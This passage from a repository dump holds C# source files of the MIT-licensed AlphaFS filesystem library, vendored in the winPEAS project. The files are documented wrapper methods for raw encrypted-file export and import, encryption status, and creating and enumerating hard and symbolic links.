functionality, while maintaining files in their encrypted state. /// /// /// The file being backed up is not decrypted; it is backed up in its encrypted state. /// /// /// If the caller does not have access to the key for the file, the caller needs /// to export encrypted files. See /// . /// /// /// To backup an encrypted file call one of the /// overloads and specify the file to backup /// along with the destination stream of the backup data. /// /// /// This function is intended for the backup of only encrypted files; see for backup /// of unencrypted files. /// /// /// The name of the file to be backed up. /// The destination stream to which the backup data will be written. /// The path format of the parameter. /// public static void ExportEncryptedFileRaw(string fileName, Stream outputStream, PathFormat pathFormat) { ImportExportEncryptedFileDirectoryRawCore(true, false, outputStream, fileName, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Encryption/File.GetEncryptionStatus.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Retrieves the encryption status of the specified file. /// The name of the file. /// The of the specified . [SecurityCritical] public static FileEncryptionStatus GetEncryptionStatus(string path) { return GetEncryptionStatusCore(path, PathFormat.RelativePath); } /// [AlphaFS] Retrieves the encryption status of the specified file. /// The name of the file. /// Indicates the format of the path parameter(s). /// The of the specified . [SecurityCritical] public static FileEncryptionStatus GetEncryptionStatus(string path, PathFormat pathFormat) { return GetEncryptionStatusCore(path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Encryption/File.ImportEncryptedFileRaw.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Restores (import) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is /// intended to implement backup and restore functionality, while maintaining files in their encrypted state. /// /// /// If the caller does not have access to the key for the file, the caller needs /// to restore encrypted files. See /// . /// /// /// To restore an encrypted file call one of the /// overloads and specify the file to restore /// along with the destination stream of the restored data. /// /// /// This function is intended for the restoration of only encrypted files; see for /// backup of unencrypted files. /// /// /// The stream to read previously backed up data from. /// The path of the destination file to restore to. /// public static void ImportEncryptedFileRaw(Stream inputStream, string destinationFilePath) { ImportExportEncryptedFileDirectoryRawCore(false, false, inputStream, destinationFilePath, false, PathFormat.RelativePath); } /// [AlphaFS] Restores (import) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is /// intended to implement backup and restore functionality, while maintaining files in their encrypted state. /// /// /// If the caller does not have access to the key for the file, the caller needs /// to restore encrypted files. See /// . /// /// /// To restore an encrypted file call one of the /// overloads and specify the file to restore /// along with the destination stream of the restored data. /// /// /// This function is intended for the restoration of only encrypted files; see for /// backup of unencrypted files. /// /// /// The stream to read previously backed up data from. /// The path of the destination file to restore to. /// The path format of the parameter. /// public static void ImportEncryptedFileRaw(Stream inputStream, string destinationFilePath, PathFormat pathFormat) { ImportExportEncryptedFileDirectoryRawCore(false, false, inputStream, destinationFilePath, false, pathFormat); } /// [AlphaFS] Restores (import) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is /// intended to implement backup and restore functionality, while maintaining files in their encrypted state. /// /// /// If the caller does not have access to the key for the file, the caller needs /// to restore encrypted files. See /// . /// /// /// To restore an encrypted file call one of the /// overloads and specify the file to restore /// along with the destination stream of the restored data. /// /// /// This function is intended for the restoration of only encrypted files; see for /// backup of unencrypted files. /// /// /// The stream to read previously backed up data from. /// The path of the destination file to restore to. /// If set to true a hidden file will be overwritten on import. /// public static void ImportEncryptedFileRaw(Stream inputStream, string destinationFilePath, bool overwriteHidden) { ImportExportEncryptedFileDirectoryRawCore(false, false, inputStream, destinationFilePath, overwriteHidden, PathFormat.RelativePath); } /// [AlphaFS] Restores (import) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is /// intended to implement backup and restore functionality, while maintaining files in their encrypted state. /// /// /// If the caller does not have access to the key for the file, the caller needs /// to restore encrypted files. See /// . /// /// /// To restore an encrypted file call one of the /// overloads and specify the file to restore /// along with the destination stream of the restored data. /// /// /// This function is intended for the restoration of only encrypted files; see for /// backup of unencrypted files. /// /// /// The stream to read previously backed up data from. /// The path of the destination file to restore to. /// If set to true a hidden file will be overwritten on import. /// The path format of the parameter. /// public static void ImportEncryptedFileRaw(Stream inputStream, string destinationFilePath, bool overwriteHidden, PathFormat pathFormat) { ImportExportEncryptedFileDirectoryRawCore(false, false, inputStream, destinationFilePath, overwriteHidden, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.CreateHardLink.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region Obsolete /// [AlphaFS] Establishes a hard link (similar to CMD command: "MKLINK /H") between an existing file and a new file. This function is only supported on the NTFS file system, and only for files, not directories. /// /// /// /// The name of the new file. This parameter cannot specify the name of a directory. /// The name of the existing file. This parameter cannot specify the name of a directory. [Obsolete("Use CreateHardLink method.")] [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Hardlink")] [SecurityCritical] public static void CreateHardlink(string fileName, string existingFileName) { CreateHardLinkCore(null, fileName, existingFileName, PathFormat.RelativePath); } /// [AlphaFS] Establishes a hard link (similar to CMD command: "MKLINK /H") between an existing file and a new file. This function is only supported on the NTFS file system, and only for files, not directories. /// /// /// /// The name of the new file. This parameter cannot specify the name of a directory. /// The name of the existing file. This parameter cannot specify the name of a directory. /// Indicates the format of the path parameter(s). [Obsolete("Use CreateHardLink method.")] [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Hardlink")] [SecurityCritical] public static void CreateHardlink(string fileName, string existingFileName, PathFormat pathFormat) { CreateHardLinkCore(null, fileName, existingFileName, pathFormat); } #endregion // Obsolete /// [AlphaFS] Establishes a hard link (similar to CMD command: "MKLINK /H") between an existing file and a new file. This function is only supported on the NTFS file system, and only for files, not directories. /// /// /// /// The name of the new file. This parameter cannot specify the name of a directory. /// The name of the existing file. This parameter cannot specify the name of a directory. [SecurityCritical] #pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant public static void CreateHardLink(string fileName, string existingFileName) #pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant { CreateHardLinkCore(null, fileName, existingFileName, PathFormat.RelativePath); } /// [AlphaFS] Establishes a hard link (similar to CMD command: "MKLINK /H") between an existing file and a new file. This function is only supported on the NTFS file system, and only for files, not directories. /// /// /// /// The name of the new file. This parameter cannot specify the name of a directory. /// The name of the existing file. This parameter cannot specify the name of a directory. /// Indicates the format of the path parameter(s). [SecurityCritical] #pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant public static void CreateHardLink(string fileName, string existingFileName, PathFormat pathFormat) #pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant { CreateHardLinkCore(null, fileName, existingFileName, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.CreateHardLinkTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region Obsolete /// [AlphaFS] Establishes a hard link (similar to CMD command: "MKLINK /H") between an existing file and a new file as a transacted operation. This function is only supported on the NTFS file system, and only for files, not directories. /// /// /// /// The transaction. /// The name of the new file. This parameter cannot specify the name of a directory. /// The name of the existing file. This parameter cannot specify the name of a directory. [Obsolete("Use CreateHardLinkTransacted method.")] [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Hardlink")] [SecurityCritical] public static void CreateHardlinkTransacted(KernelTransaction transaction, string fileName, string existingFileName) { CreateHardLinkCore(transaction, fileName, existingFileName, PathFormat.RelativePath); } /// [AlphaFS] Establishes a hard link (similar to CMD command: "MKLINK /H") between an existing file and a new file as a transacted operation. This function is only supported on the NTFS file system, and only for files, not directories. /// /// /// /// The transaction. /// The name of the new file. This parameter cannot specify the name of a directory. /// The name of the existing file. This parameter cannot specify the name of a directory. /// Indicates the format of the path parameter(s). [Obsolete("Use CreateHardLinkTransacted method.")] [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Hardlink")] [SecurityCritical] public static void CreateHardlinkTransacted(KernelTransaction transaction, string fileName, string existingFileName, PathFormat pathFormat) { CreateHardLinkCore(transaction, fileName, existingFileName, pathFormat); } #endregion // Obsolete /// [AlphaFS] Establishes a hard link (similar to CMD command: "MKLINK /H") between an existing file and a new file as a transacted operation. This function is only supported on the NTFS file system, and only for files, not directories. /// /// /// /// The transaction. /// The name of the new file. This parameter cannot specify the name of a directory. /// The name of the existing file. This parameter cannot specify the name of a directory. [SecurityCritical] #pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant public static void CreateHardLinkTransacted(KernelTransaction transaction, string fileName, string existingFileName) #pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant { CreateHardLinkCore(transaction, fileName, existingFileName, PathFormat.RelativePath); } /// [AlphaFS] Establishes a hard link (similar to CMD command: "MKLINK /H") between an existing file and a new file as a transacted operation. This function is only supported on the NTFS file system, and only for files, not directories. /// /// /// /// The transaction. /// The name of the new file. This parameter cannot specify the name of a directory. /// The name of the existing file. This parameter cannot specify the name of a directory. /// Indicates the format of the path parameter(s). [SecurityCritical] #pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant public static void CreateHardLinkTransacted(KernelTransaction transaction, string fileName, string existingFileName, PathFormat pathFormat) #pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant { CreateHardLinkCore(transaction, fileName, existingFileName, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.CreateSymbolicLink.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region Obsolete /// [AlphaFS] Creates a symbolic link (similar to CMD command: "MKLINK") to a file. /// See to run this method in an elevated state. /// /// /// The operating system is older than Windows Vista. /// The name of the target for the symbolic link to be created. /// The symbolic link to be created. /// Indicates whether the link target, , is a file or directory. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "symlink")] [SecurityCritical] [Obsolete("Methods with SymbolicLinkTarget parameter are obsolete.")] public static void CreateSymbolicLink(string symlinkFileName, string targetFileName, SymbolicLinkTarget targetType) { CreateSymbolicLinkCore(null, symlinkFileName, targetFileName, targetType, PathFormat.RelativePath); } /// [AlphaFS] Creates a symbolic link (similar to CMD command: "MKLINK") to a file. /// See to run this method in an elevated state. /// /// /// The operating system is older than Windows Vista. /// The name of the target for the symbolic link to be created. /// The symbolic link to be created. /// Indicates whether the link target, , is a file or directory. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "symlink")] [SecurityCritical] [Obsolete("Methods with SymbolicLinkTarget parameter are obsolete.")] public static void CreateSymbolicLink(string symlinkFileName, string targetFileName, SymbolicLinkTarget targetType, PathFormat pathFormat) { CreateSymbolicLinkCore(null, symlinkFileName, targetFileName, targetType, pathFormat); } /// [AlphaFS] Creates a symbolic link (similar to CMD command: "MKLINK") to a file as a transacted operation. /// See to run this method in an elevated state. /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The name of the target for the symbolic link to be created. /// The symbolic link to be created. /// Indicates whether the link target, , is a file or directory. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "symlink")] [SecurityCritical] [Obsolete("Methods with SymbolicLinkTarget parameter are obsolete.")] public static void CreateSymbolicLinkTransacted(KernelTransaction transaction, string symlinkFileName, string targetFileName, SymbolicLinkTarget targetType) { CreateSymbolicLinkCore(transaction, symlinkFileName, targetFileName, targetType, PathFormat.RelativePath); } /// [AlphaFS] Creates a symbolic link (similar to CMD command: "MKLINK") to a file as a transacted operation. /// See to run this method in an elevated state. /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The name of the target for the symbolic link to be created. /// The symbolic link to be created. /// Indicates whether the link target, , is a file or directory. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "symlink")] [SecurityCritical] [Obsolete("Methods with SymbolicLinkTarget parameter are obsolete.")] public static void CreateSymbolicLinkTransacted(KernelTransaction transaction, string symlinkFileName, string targetFileName, SymbolicLinkTarget targetType, PathFormat pathFormat) { CreateSymbolicLinkCore(transaction, symlinkFileName, targetFileName, targetType, pathFormat); } #endregion // Obsolete /// [AlphaFS] Creates a symbolic link (similar to CMD command: "MKLINK") to a file. ///   /// /// Symbolic links can point to a non-existent target. /// When creating a symbolic link, the operating system does not check to see if the target exists. /// Symbolic links are reparse points. /// There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path. /// See to run this method in an elevated state. /// /// /// /// /// The operating system is older than Windows Vista. /// The name of the target for the symbolic link to be created. /// The symbolic link to be created. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "symlink")] [SecurityCritical] public static void CreateSymbolicLink(string symlinkFileName, string targetFileName) { CreateSymbolicLinkCore(null, symlinkFileName, targetFileName, SymbolicLinkTarget.File, PathFormat.RelativePath); } /// [AlphaFS] Creates a symbolic link (similar to CMD command: "MKLINK") to a file. ///   /// /// Symbolic links can point to a non-existent target. /// When creating a symbolic link, the operating system does not check to see if the target exists. /// Symbolic links are reparse points. /// There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path. /// See to run this method in an elevated state. /// /// /// /// /// The operating system is older than Windows Vista. /// The name of the target for the symbolic link to be created. /// The symbolic link to be created. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "symlink")] [SecurityCritical] public static void CreateSymbolicLink(string symlinkFileName, string targetFileName, PathFormat pathFormat) { CreateSymbolicLinkCore(null, symlinkFileName, targetFileName, SymbolicLinkTarget.File, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.CreateSymbolicLinkTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Creates a symbolic link (similar to CMD command: "MKLINK") to a file as a transacted operation. ///   /// /// Symbolic links can point to a non-existent target. /// When creating a symbolic link, the operating system does not check to see if the target exists. /// Symbolic links are reparse points. /// There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path. /// See to run this method in an elevated state. /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The name of the target for the symbolic link to be created. /// The symbolic link to be created. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "symlink")] [SecurityCritical] public static void CreateSymbolicLinkTransacted(KernelTransaction transaction, string symlinkFileName, string targetFileName) { CreateSymbolicLinkCore(transaction, symlinkFileName, targetFileName, SymbolicLinkTarget.File, PathFormat.RelativePath); } /// [AlphaFS] Creates a symbolic link (similar to CMD command: "MKLINK") to a file as a transacted operation. ///   /// /// Symbolic links can point to a non-existent target. /// When creating a symbolic link, the operating system does not check to see if the target exists. /// Symbolic links are reparse points. /// There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path. /// See to run this method in an elevated state. /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The name of the target for the symbolic link to be created. /// The symbolic link to be created. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "symlink")] [SecurityCritical] public static void CreateSymbolicLinkTransacted(KernelTransaction transaction, string symlinkFileName, string targetFileName, PathFormat pathFormat) { CreateSymbolicLinkCore(transaction, symlinkFileName, targetFileName, SymbolicLinkTarget.File, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.EnumerateHardLinks.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region Obsolete /// [AlphaFS] Creates an enumeration of all the hard links to the specified . /// An enumerable collection of of all the hard links to the specified /// The operating system is older than Windows Vista. /// The name of the file. [Obsolete("Use EnumerateHardLinks method.")] [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Hardlinks")] [SecurityCritical] public static IEnumerable EnumerateHardlinks(string path) { return EnumerateHardLinksCore(null, path, PathFormat.RelativePath); } /// [AlphaFS] Creates an enumeration of all the hard links to the specified . /// An enumerable collection of of all the hard links to the specified /// The operating system is older than Windows Vista. /// The name of the file. /// Indicates the format of the path parameter(s). [Obsolete("Use EnumerateHardLinks method.")] [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Hardlinks")] [SecurityCritical] public static IEnumerable EnumerateHardlinks(string path, PathFormat pathFormat) { return EnumerateHardLinksCore(null, path, pathFormat); } #endregion // Obsolete /// [AlphaFS] Creates an enumeration of all the hard links to the specified . /// An enumerable collection of of all the hard links to the specified /// The operating system is older than Windows Vista. /// The name of the file. [SecurityCritical] #pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant public static IEnumerable EnumerateHardLinks(string path) #pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant { return EnumerateHardLinksCore(null, path, PathFormat.RelativePath); } /// [AlphaFS] Creates an enumeration of all the hard links to the specified . /// An enumerable collection of of all the hard links to the specified /// The operating system is older than Windows Vista. /// The name of the file. /// Indicates the format of the path parameter(s). [SecurityCritical] #pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant public static IEnumerable EnumerateHardLinks(string path, PathFormat pathFormat) #pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant { return EnumerateHardLinksCore(null, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.EnumerateHardLinksTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region Obsolete /// [AlphaFS] Creates an enumeration of all the hard links to the specified . /// An enumerable collection of of all the hard links to the specified /// The operating system is older than Windows Vista. /// The transaction. /// The name of the file. [Obsolete("Use EnumerateHardLinks method.")] [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Hardlinks")] [SecurityCritical] public static IEnumerable EnumerateHardlinksTransacted(KernelTransaction transaction, string path) { return EnumerateHardLinksCore(transaction, path, PathFormat.RelativePath); } /// [AlphaFS] Creates an enumeration of all the hard links to the specified . /// An enumerable collection of of all the hard links to the specified /// The operating system is older than Windows Vista. /// The transaction. /// The name of the file. /// Indicates the format of the path parameter(s). [Obsolete("Use EnumerateHardLinks method.")] [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Hardlinks")] [SecurityCritical] public static IEnumerable EnumerateHardlinksTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return EnumerateHardLinksCore(transaction, path, pathFormat); } #endregion // Obsolete /// [AlphaFS] Creates an enumeration of all the hard links to the specified . /// An enumerable collection of of all the hard links to the specified /// The operating system is older than Windows Vista. /// The transaction. /// The name of the file. [SecurityCritical] #pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant public static IEnumerable EnumerateHardLinksTransacted(KernelTransaction transaction, string path) #pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant { return EnumerateHardLinksCore(transaction, path, PathFormat.RelativePath); } /// [AlphaFS] Creates an enumeration of all the hard links to the specified . /// An enumerable collection of of all the hard links to the specified /// The operating system is older than Windows Vista. /// The transaction. /// The name of the file. /// Indicates the format of the path parameter(s). [SecurityCritical] #pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant public static IEnumerable EnumerateHardLinksTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) #pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant { return EnumerateHardLinksCore(transaction, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.GetLinkTargetInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 